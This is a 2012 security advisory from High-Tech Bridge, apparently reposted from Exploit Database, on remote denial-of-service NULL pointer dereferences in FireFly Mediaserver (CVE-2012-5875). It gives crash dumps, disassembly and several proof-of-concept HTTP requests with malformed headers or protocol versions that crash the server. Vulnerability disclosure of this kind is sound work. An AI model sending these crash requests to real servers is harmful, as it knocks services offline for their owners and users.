FireFly Mediaserver 1.0.0.1359 – Null Pointer Dereference

• Exploit Database
• 18 阅读

• 作者： High-Tech Bridge SA
  日期： 2012-12-21
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23574/

• Advisory ID: HTB23129
  Product: FireFly Mediaserver
  Vendor: FireFly
  Vulnerable Version(s): 1.0.0.1359 and probably prior
  Tested Version: 1.0.0.1359 in Windows 7 SP1
  Vendor Notification: November 21, 2012 
  Public Disclosure: December 19, 2012 
  Vulnerability Type: NULL Pointer Dereference [CWE-476]
  CVE Reference: CVE-2012-5875
  CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
  Risk Level: Medium 
  Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 
  
  -----------------------------------------------------------------------------------------------
  
  Advisory Details:
  
  High-Tech Bridge Security Research Lab has discovered multiple remote denial of service (DoS) vulnerabilities in FireFly MediaServer, which could be exploited by a malicious person to crash a remote server.
  
  
  1) Multiple NULL pointer dereference vulnerabilities in Firefly MediaServer: CVE-2012-5875
  
  1.1 The vulnerability exists due to improper handling of the HTTP CONNECTION header within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port (FireFly's server default port) with improper CONNECTION header value, leading to a NULL pointer dereference that will cause vulnerable server to crash immediately.
  
  Crash Details:
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> xxxxxxx_xxxx_ (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) -> n 0n-us,en;q=0.5U) (stack)
  EDI: 0175eee8 (24506088) -> xxxxxxx_xxxx_ (stack)
  ESI: 0175eef5 (24506101) -> 0n-us,en;q=0.5U) (stack)
  EBP: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
  ESP: 0175eed0 (24506064) -> u0p xxxxxxx_xxxx_n 0n-us,en;q=0.5U) (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vpx@ (stack)
  +0c: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl
  
  
  Proof of Concept:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET / HTTP/1.1
  Host: vulnhost.local
  User-Agent: Mozilla/5.0 (Windows; U)
  Accept-Language: en-us,en;q=0.5
  Keep-Alive: 300
  Connection: xxxxxxx_xxxx_
  Referer: http://www.host.com
  
  
  
  1.2 The vulnerability exists due to improper handling of the ACCEPT-LANGUAGE, USER-AGENT and HOST HTTP header parameters within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to port 9999/TCP with a malformed header containing a control character of return carriage ("\r\n") that will cause a NULL pointer dereference and immediate termination of the vulnerable server.
  
  The following examples demonstrate the vulnerabilities:
  
  a) ACCEPT-LANGUAGE
  
  Crash details:
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) -> nguage /5.0 (Windows; U) (stack)
  EDI: 0175eee8 (24506088) -> (stack)
  ESI: 0175eefa (24506106) -> /5.0 (Windows; U) (stack)
  EBP: 00708830 ( 7374896) -> p3xxpppHFF (heap)
  ESP: 0175eed0 (24506064) -> u0pguage /5.0 (Windows; U) (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vp x (stack)
  +0c: 00708830 ( 7374896) -> p3xxpppHFF (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl
  
  
  Proof of concept:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET / HTTP/1.1
  Host: somehost.com
  User-Agent: Mozilla/5.0 (Windows; U)
  Accept-Language: en-us
  en;q=0.5
  \r\n
  Keep-Alive: 300
  Connection: keep-alive
  Referer: http://www.host.com
  
  
  
  b) USER-AGENT
  
  Crash details
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> xxxxxxx (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) -> t t (stack)
  EDI: 0175eee8 (24506088) -> xxxxxxx(stack)
  ESI: 0175eef5 (24506101) -> t (stack)
  EBP: 007087d8 ( 7374808) -> p>ppPp<p (heap)
  ESP: 0175eed0 (24506064) -> upxxxxxxxt t (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> N/A
  +0c: 007087d8 ( 7374808) -> p>ppPp<p (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl
  
  
  Proof of concept:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET / HTTP/1.1
  Host: somehost.com
  User-Agent: 
  xxxxxxx
  \r\n
  Accept-Language: en-us,en;q=0.5
  Keep-Alive: 300
  Connection: keep-alive
  Referer: http://www.host.com
  
  
  
  c) HOST
  
  Crash Details:
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> xxxxxxx (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) ->(stack)
  EDI: 0175eee8 (24506088) -> xxxxxxx (stack)
  ESI: 0175eeef (24506095) ->(stack)
  EBP: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
  ESP: 0175eed0 (24506064) -> u0pxxxxxxx (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> N/A
  +0c: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl
  
  
  Proof of concept:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET / HTTP/1.1
  Host: xxxxxxx\r\n
  User-Agent: Mozilla/5.0 (Windows; U)
  Accept-Language: en-us,en;q=0.5
  Keep-Alive: 300
  Connection: keep-alive
  Referer: http://www.host.com
  
  
  
  1.3 The vulnerability exists due to improper handling of the HTTP POST and GET methods within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port with an improper HTTP POST or GET request containing an erroneous HTTP protocol version, or one or more control characters of return carriage ("\r\n") leading to a NULL pointer dereference that will cause the vulnerable server to crash immediately.
  
  The following examples demonstrate the vulnerabilities:
  
  a) HTTP POST
  
  Crash details:
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> xxxxxxx (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) ->(stack)
  EDI: 0175eee8 (24506088) -> xxxxxxx (stack)
  ESI: 00000001 ( 1) -> N/A
  EBP: 007087d8 ( 7374808) -> ppPpatp (heap)
  ESP: 0175eed0 (24506064) -> upxxxxxxx (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> N/A
  +0c: 007087d8 ( 7374808) -> ppPpatp (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,b
  
  
  Proof of concept:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  POST /index.html HTTP/
  xxxxxxxx
  .1
  
  
  
  b) HTTP GET
  
  Crash details:
  
  EIP: 0041e223 cmp byte [ecx],0x20
  EAX: 0175eee8 (24506088) -> xxxxxxx (stack)
  EBX: 00000000 ( 0) -> N/A
  ECX: 00000000 ( 0) -> N/A
  EDX: 0175eef0 (24506096) ->(stack)
  EDI: 0175eee8 (24506088) -> xxxxxxx (stack)
   ESI: 00000001 ( 1) -> N/A
  EBP: 00708830 ( 7374896) -> p!pppHFF#) (heap)
  ESP: 0175eed0 (24506064) -> u0pxxxxxxx (stack)
  +00: 00000000 ( 0) -> N/A
  +04: 00000001 ( 1) -> N/A
  +08: 0175ff80 (24510336) -> N/A
  +0c: 00708830 ( 7374896) -> p!pppHFF#) (heap)
  +10: 00000000 ( 0) -> N/A
  +14: 00000007 ( 7) -> N/A
  
  
  Disasm around:
  
  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl
  
  
  Proof of concept #1:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET /index.html HTTP/xxxxxxxx.1
  
  
  Proof of concept #2:
  The following HTTP request will crash the vulnerable Firefly server remotely:
  
  GET /index.html HTTP/
  xxxxxxxx.1
  
  
  
  
  -----------------------------------------------------------------------------------------------
  
  References:
  
  [1] High-Tech Bridge Advisory HTB23129 - https://www.htbridge.com/advisory/HTB23129 - Firefly MediaServer Multiple Remote DoS vulnerabilities.
  [2] Firefly - http://www.fireflymediaserver.org - Firefly MediaServer distributes your music, videos and photos easily over your network.
  [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
  [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 
  
  -----------------------------------------------------------------------------------------------
  
  Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.